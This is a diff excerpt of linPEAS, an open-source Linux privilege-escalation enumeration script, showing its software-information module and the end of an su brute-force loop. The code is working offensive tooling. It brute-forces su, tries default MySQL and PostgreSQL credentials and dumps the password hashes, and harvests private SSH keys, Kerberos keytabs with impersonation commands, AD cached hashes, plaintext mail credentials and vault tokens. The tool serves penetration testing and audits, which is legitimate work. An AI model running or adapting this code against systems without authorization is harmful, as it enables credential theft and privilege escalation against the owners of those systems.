POSSIBE_SU_BRUTE=$(check_if_su_brute);
|
||||
if [ "$POSSIBE_SU_BRUTE" ]; then
|
||||
SHELLUSERS=$(cat /etc/passwd 2>/dev/null | grep -i "sh$" | cut -d ":" -f 1)
|
||||
printf "%s\n" "$SHELLUSERS" | while read u; do
|
||||
echo " Bruteforcing user $u..."
|
||||
su_brute_user_num "$u" $PASSTRY
|
||||
done
|
||||
else
|
||||
printf $GREEN"It's not possible to brute-force su.\n\n"$NC
|
||||
fi
|
||||
else
|
||||
print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC
|
||||
fi
|
||||
print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC
|
||||
688
linPEAS/builder/linpeas_parts/7_software_information.sh
Normal file
688
linPEAS/builder/linpeas_parts/7_software_information.sh
Normal file
@@ -0,0 +1,688 @@
|
||||
###########################################
|
||||
#--------) Software Information (---------#
|
||||
###########################################
|
||||
|
||||
NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so"
|
||||
|
||||
#-- SI) Useful software
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Useful software"
|
||||
for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SI) Search for compilers
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Installed Compilers"
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
|
||||
echo ""
|
||||
|
||||
if [ "$(command -v pkg 2>/dev/null)" ]; then
|
||||
print_2title "Vulnerable Packages"
|
||||
pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$(command -v brew 2>/dev/null)" ]; then
|
||||
print_2title "Brew Installed Packages"
|
||||
brew list
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Writable Installed Applications"
|
||||
system_profiler SPApplicationsDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do
|
||||
if [ -w "$f" ]; then
|
||||
echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
|
||||
system_profiler SPFrameworksDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do
|
||||
if [ -w "$f" ]; then
|
||||
echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
#-- SI) MySQL version
|
||||
if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then
|
||||
print_2title "MySQL version"
|
||||
mysql --version 2>/dev/null || echo_not_found "mysql"
|
||||
mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1)
|
||||
if [ "$mysqluser" ]; then
|
||||
echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
echo ""
|
||||
|
||||
#-- SI) MySQL connection root/root
|
||||
print_list "MySQL connection using default root/root ........... "
|
||||
mysqlconnect=$(mysqladmin -uroot -proot version 2>/dev/null)
|
||||
if [ "$mysqlconnect" ]; then
|
||||
echo "Yes" | sed -${E} "s,.*,${SED_RED},"
|
||||
mysql -u root --password=root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
#-- SI) MySQL connection root/toor
|
||||
print_list "MySQL connection using root/toor ................... "
|
||||
mysqlconnect=$(mysqladmin -uroot -ptoor version 2>/dev/null)
|
||||
if [ "$mysqlconnect" ]; then
|
||||
echo "Yes" | sed -${E} "s,.*,${SED_RED},"
|
||||
mysql -u root --password=toor -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
#-- SI) MySQL connection root/NOPASS
|
||||
mysqlconnectnopass=$(mysqladmin -uroot version 2>/dev/null)
|
||||
print_list "MySQL connection using root/NOPASS ................. "
|
||||
if [ "$mysqlconnectnopass" ]; then
|
||||
echo "Yes" | sed -${E} "s,.*,${SED_RED},"
|
||||
mysql -u root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SI) MySQL credentials
|
||||
if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching mysql credentials and exec"
|
||||
printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do
|
||||
if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds)
|
||||
STRINGS="`command -v strings`"
|
||||
echo "Potential file containing credentials:"
|
||||
ls -l "$d"
|
||||
if [ "$STRINGS" ]; then
|
||||
strings "$d"
|
||||
else
|
||||
echo "Strings not found, cat the file and check it to get the creds"
|
||||
fi
|
||||
|
||||
else
|
||||
for f in $(find $d -name debian.cnf 2>/dev/null); do
|
||||
if [ -r "$f" ]; then
|
||||
echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED},"
|
||||
cat "$f"
|
||||
fi
|
||||
done
|
||||
|
||||
for f in $(find $d -name user.MYD 2>/dev/null); do
|
||||
if [ -r "$f" ]; then
|
||||
echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED},"
|
||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" "$f" | grep -v "mysql_native_password"
|
||||
fi
|
||||
done
|
||||
|
||||
for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do
|
||||
if [ -r "$f" ]; then
|
||||
u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null)
|
||||
echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
|
||||
for f in $(find $d -name my.cnf 2>/dev/null); do
|
||||
if [ -r "$f" ]; then
|
||||
echo "Found readable $f"
|
||||
grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so")
|
||||
if [ "$mysqlexec" ]; then
|
||||
echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)"
|
||||
echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
echo ""
|
||||
|
||||
peass{MariaDB}
|
||||
|
||||
peass{PostgreSQL}
|
||||
|
||||
#-- SI) PostgreSQL brute
|
||||
if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it.
|
||||
# Checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this
|
||||
print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ "
|
||||
if [ "$(timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ "
|
||||
if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
print_list "PostgreSQL connection to template0 using pgsql/NOPASS ........... "
|
||||
if [ "$(timeout 1 psql -U pgsql -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
print_list "PostgreSQL connection to template1 using pgsql/NOPASS ........... "
|
||||
if [ "$(timeout 1 psql -U pgsql -d template1 -c 'select version()' 2> /dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
peass{Mongo}
|
||||
|
||||
peass{Apache-Nginx}
|
||||
|
||||
peass{Tomcat}
|
||||
|
||||
peass{FastCGI}
|
||||
|
||||
peass{Http_conf}
|
||||
|
||||
peass{Htpasswd}
|
||||
|
||||
peass{PHP Sessions}
|
||||
|
||||
peass{Wordpress}
|
||||
|
||||
peass{Drupal}
|
||||
|
||||
peass{Moodle}
|
||||
|
||||
peass{Supervisord}
|
||||
|
||||
peass{Cesi}
|
||||
|
||||
peass{Rsync}
|
||||
|
||||
peass{Hostapd}
|
||||
|
||||
peass{Wifi Connections}
|
||||
|
||||
peass{Anaconda ks}
|
||||
|
||||
peass{VNC}
|
||||
|
||||
peass{OpenVPN}
|
||||
|
||||
peass{Ldap}
|
||||
|
||||
if [ "$PSTORAGE_LOG4SHELL" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching Log4Shell vulnerable libraries"
|
||||
printf "%s\n" "$PSTORAGE_LOG4SHELL" | while read f; do
|
||||
echo "$f" | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" | sed -${E} "s,log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6]),${SED_RED},";
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SI) ssh files
|
||||
print_2title "Searching ssl/ssh files"
|
||||
if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)"
|
||||
hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
|
||||
hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
|
||||
writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
|
||||
else
|
||||
sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)"
|
||||
hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)"
|
||||
hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)"
|
||||
writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
|
||||
fi
|
||||
|
||||
peass{SSH}
|
||||
|
||||
grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ "$TIMEOUT" ]; then
|
||||
privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)
|
||||
privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null)
|
||||
privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null)
|
||||
privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null)
|
||||
else
|
||||
privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) # If there is tons of files linpeas gets frozen here without a timeout
|
||||
privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null)
|
||||
fi
|
||||
else
|
||||
# If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware
|
||||
privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null)
|
||||
fi
|
||||
|
||||
if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then
|
||||
echo ""
|
||||
print_3title "Possible private SSH keys were found!" | sed -${E} "s,private SSH keys,${SED_RED},"
|
||||
if [ "$privatekeyfilesetc" ]; then printf "$privatekeyfilesetc\n" | sed -${E} "s,.*,${SED_RED},"; fi
|
||||
if [ "$privatekeyfileshome" ]; then printf "$privatekeyfileshome\n" | sed -${E} "s,.*,${SED_RED},"; fi
|
||||
if [ "$privatekeyfilesroot" ]; then printf "$privatekeyfilesroot\n" | sed -${E} "s,.*,${SED_RED},"; fi
|
||||
if [ "$privatekeyfilesmnt" ]; then printf "$privatekeyfilesmnt\n" | sed -${E} "s,.*,${SED_RED},"; fi
|
||||
echo ""
|
||||
fi
|
||||
if [ "$certsb4_grep" ] || [ "$PSTORAGE_CERTSBIN" ]; then
|
||||
print_3title "Some certificates were found (out limited):"
|
||||
printf "$certsb4_grep\n" | head -n 20
|
||||
printf "$$PSTORAGE_CERTSBIN\n" | head -n 20
|
||||
echo ""
|
||||
fi
|
||||
if [ "$PSTORAGE_CERTSCLIENT" ]; then
|
||||
print_3title "Some client certificates were found:"
|
||||
printf "$PSTORAGE_CERTSCLIENT\n"
|
||||
echo ""
|
||||
fi
|
||||
if [ "$PSTORAGE_SSH_AGENTS" ]; then
|
||||
print_3title "Some SSH Agent files were found:"
|
||||
printf "$PSTORAGE_SSH_AGENTS\n"
|
||||
echo ""
|
||||
fi
|
||||
if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then
|
||||
print_3title "Listing SSH Agents"
|
||||
ssh-add -l
|
||||
echo ""
|
||||
fi
|
||||
if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then
|
||||
print_3title "Listing gpg keys cached in gpg-agent"
|
||||
gpg-connect-agent "keyinfo --list" /bye
|
||||
echo ""
|
||||
fi
|
||||
if [ "$writable_agents" ]; then
|
||||
print_3title "Writable ssh and gpg agents"
|
||||
printf "%s\n" "$writable_agents"
|
||||
fi
|
||||
if [ "$PSTORAGE_SSH_CONFIG" ]; then
|
||||
print_3title "Some home ssh config file was found"
|
||||
printf "%s\n" "$PSTORAGE_SSH_CONFIG" | while read f; do ls "$f" | sed -${E} "s,$f,${SED_RED},"; cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,User|ProxyCommand,${SED_RED},"; done
|
||||
echo ""
|
||||
fi
|
||||
if [ "$hostsdenied" ]; then
|
||||
print_3title "/etc/hosts.denied file found, read the rules:"
|
||||
printf "$hostsdenied\n"
|
||||
cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
|
||||
echo ""
|
||||
fi
|
||||
if [ "$hostsallow" ]; then
|
||||
print_3title "/etc/hosts.allow file found, trying to read the rules:"
|
||||
printf "$hostsallow\n"
|
||||
cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
if [ "$sshconfig" ]; then
|
||||
echo ""
|
||||
echo "Searching inside /etc/ssh/ssh_config for interesting info"
|
||||
grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
peass{PAM Auth}
|
||||
|
||||
#-- SI) Passwords inside pam.d
|
||||
pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#")
|
||||
if [ "$pamdpass" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Passwords inside pam.d"
|
||||
grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
peass{NFS Exports}
|
||||
|
||||
#-- SI) Kerberos
|
||||
kadmin_exists="$(command -v kadmin)"
|
||||
klist_exists="$(command -v klist)"
|
||||
kinit_exists="$(command -v kinit)"
|
||||
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching kerberos conf files and tickets"
|
||||
print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory"
|
||||
|
||||
if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
|
||||
if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi
|
||||
if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
|
||||
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
|
||||
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g";
|
||||
else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g";
|
||||
fi
|
||||
|
||||
(env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g"
|
||||
|
||||
printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do
|
||||
if [ -r "$f" ]; then
|
||||
if echo "$f" | grep -q .k5login; then
|
||||
echo ".k5login file (users with access to the user who has this file in his home)"
|
||||
cat "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g"
|
||||
elif echo "$f" | grep -q keytab; then
|
||||
echo ""
|
||||
echo "keytab file found, you may be able to impersonate some kerberos principals and add users or modify passwords"
|
||||
klist -k "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g"
|
||||
printf "$(klist -k $f 2>/dev/null)\n" | awk '{print $2}' | while read l; do
|
||||
if [ "$l" ] && echo "$l" | grep -q "@"; then
|
||||
printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${SED_RED},g"
|
||||
# kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid
|
||||
# We could also try to create a new user or modify a password, but I'm not user if linpeas should do that
|
||||
fi
|
||||
done
|
||||
elif echo "$f" | grep -q krb5.conf; then
|
||||
ls -l "$f"
|
||||
cat "$f" 2>/dev/null | sed -${E} "s,default_ccache_name,${SED_RED},";
|
||||
elif echo "$f" | grep -q kadm5.acl; then
|
||||
ls -l "$f"
|
||||
cat "$f" 2>/dev/null
|
||||
elif echo "$f" | grep -q sssd.conf; then
|
||||
ls -l "$f"
|
||||
cat "$f" 2>/dev/null | sed -${E} "s,cache_credentials ?= ?[tT][rR][uU][eE],${SED_RED},";
|
||||
elif echo "$f" | grep -q secrets.ldb; then
|
||||
echo "You could use SSSDKCMExtractor to extract the tickets stored here" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},";
|
||||
ls -l "$f"
|
||||
elif echo "$f" | grep -q .secrets.mkey; then
|
||||
echo "This is the secrets file to use with SSSDKCMExtractor" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},";
|
||||
ls -l "$f"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
ls -l "/tmp/krb5cc*" "/var/lib/sss/db/ccache_*" "/etc/opt/quest/vas/host.keytab" 2>/dev/null || echo_not_found "tickets kerberos"
|
||||
klist 2>/dev/null || echo_not_found "klist"
|
||||
echo ""
|
||||
|
||||
fi
|
||||
|
||||
peass{FreeIPA}
|
||||
|
||||
peass{Knockd}
|
||||
|
||||
peass{Kibana}
|
||||
|
||||
peass{Elasticsearch}
|
||||
|
||||
##-- SI) Logstash
|
||||
if [ "$PSTORAGE_LOGSTASH" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching logstash files"
|
||||
printf "$PSTORAGE_LOGSTASH"
|
||||
printf "%s\n" "$PSTORAGE_LOGSTASH" | while read d; do
|
||||
if [ -r "$d/startup.options" ]; then
|
||||
echo "Logstash is running as user:"
|
||||
cat "$d/startup.options" 2>/dev/null | grep "LS_USER\|LS_GROUP" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed -${E} "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,root,${SED_RED},"
|
||||
fi
|
||||
cat "$d/conf.d/out*" | grep "exec\s*{\|command\s*=>" | sed -${E} "s,exec\W*\{|command\W*=>,${SED_RED},"
|
||||
cat "$d/conf.d/filt*" | grep "path\s*=>\|code\s*=>\|ruby\s*{" | sed -${E} "s,path\W*=>|code\W*=>|ruby\W*\{,${SED_RED},"
|
||||
done
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- SI) Vault-ssh
|
||||
if [ "$PSTORAGE_VAULT_SSH_HELPER" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching Vault-ssh files"
|
||||
printf "$PSTORAGE_VAULT_SSH_HELPER\n"
|
||||
printf "%s\n" "$PSTORAGE_VAULT_SSH_HELPER" | while read f; do cat "$f" 2>/dev/null; vault-ssh-helper -verify-only -config "$f" 2>/dev/null; done
|
||||
echo ""
|
||||
vault secrets list 2>/dev/null
|
||||
printf "%s\n" "$PSTORAGE_VAULT_SSH_TOKEN" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- SI) Cached AD Hashes
|
||||
adhashes=$(ls "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null)
|
||||
if [ "$adhashes" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching AD cached hashes"
|
||||
ls -l "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SI) Screen sessions
|
||||
if ([ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Searching screen sessions"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
|
||||
screensess=$(screen -ls 2>/dev/null)
|
||||
screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null)
|
||||
|
||||
screen -v
|
||||
printf "$screensess\n$screensess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,No Sockets found.*,${C}[32m&${C}[0m,"
|
||||
|
||||
find /run/screen -type s -path "/run/screen/S-*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do
|
||||
echo "Other user screen socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW},"
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SI) Tmux sessions
|
||||
tmuxdefsess=$(tmux ls 2>/dev/null)
|
||||
tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep)
|
||||
tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null)
|
||||
if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Searching tmux sessions"$N
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
|
||||
tmux -V
|
||||
printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m,"
|
||||
|
||||
find /tmp -type s -path "/tmp/tmux*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do
|
||||
echo "Other user tmux socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW},"
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
peass{CouchDB}
|
||||
|
||||
peass{Redis}
|
||||
|
||||
#-- SI) Dovecot
|
||||
# Needs testing
|
||||
dovecotpass=$(grep -r "PLAIN" /etc/dovecot 2>/dev/null)
|
||||
if [ "$dovecotpass" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching dovecot files"
|
||||
if [ -z "$dovecotpass" ]; then
|
||||
echo_not_found "dovecot credentials"
|
||||
else
|
||||
printf "%s\n" "$dovecotpass" | while read d; do
|
||||
df=$(echo $d |cut -d ':' -f1)
|
||||
dp=$(echo $d |cut -d ':' -f2-)
|
||||
echo "Found possible PLAIN text creds in $df"
|
||||
echo "$dp" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null
|
||||
done
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
peass{Mosquitto}
|
||||
|
||||
peass{Neo4j}
|
||||
|
||||
AWSVAULT="$(command -v aws-vault 2>/dev/null)"
|
||||
if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Check aws-vault"
|
||||
aws-vault list
|
||||
fi
|
||||
|
||||
peass{Cloud Credentials}
|
||||
|
||||
peass{Cloud Init}
|
||||
|
||||
peass{CloudFlare}
|
||||
|
||||
peass{Erlang}
|
||||
|
||||
peass{GMV Auth}
|
||||
|
||||
peass{IPSec}
|
||||
|
||||
peass{IRSSI}
|
||||
|
||||
peass{Keyring}
|
||||
|
||||
peass{Filezilla}
|
||||
|
||||
peass{Backup Manager}
|
||||
|
||||
##-- SI) passwd files (splunk)
|
||||
SPLUNK_BIN="$(command -v splunk 2>/dev/null)"
|
||||
if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching uncommon passwd files (splunk)"
|
||||
if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi
|
||||
printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do
|
||||
if [ -f "$f" ] && ! [ -x "$f" ]; then
|
||||
echo "passwd file: $f" | sed "s,$f,${SED_RED},"
|
||||
cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$PSTORAGE_KCPASSWORD" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Analyzing kcpassword files"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#kcpassword"
|
||||
printf "%s\n" "$PSTORAGE_KCPASSWORD" | while read f; do
|
||||
echo "$f" | sed -${E} "s,.*,${SED_RED},"
|
||||
base64 "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- SI) Gitlab
|
||||
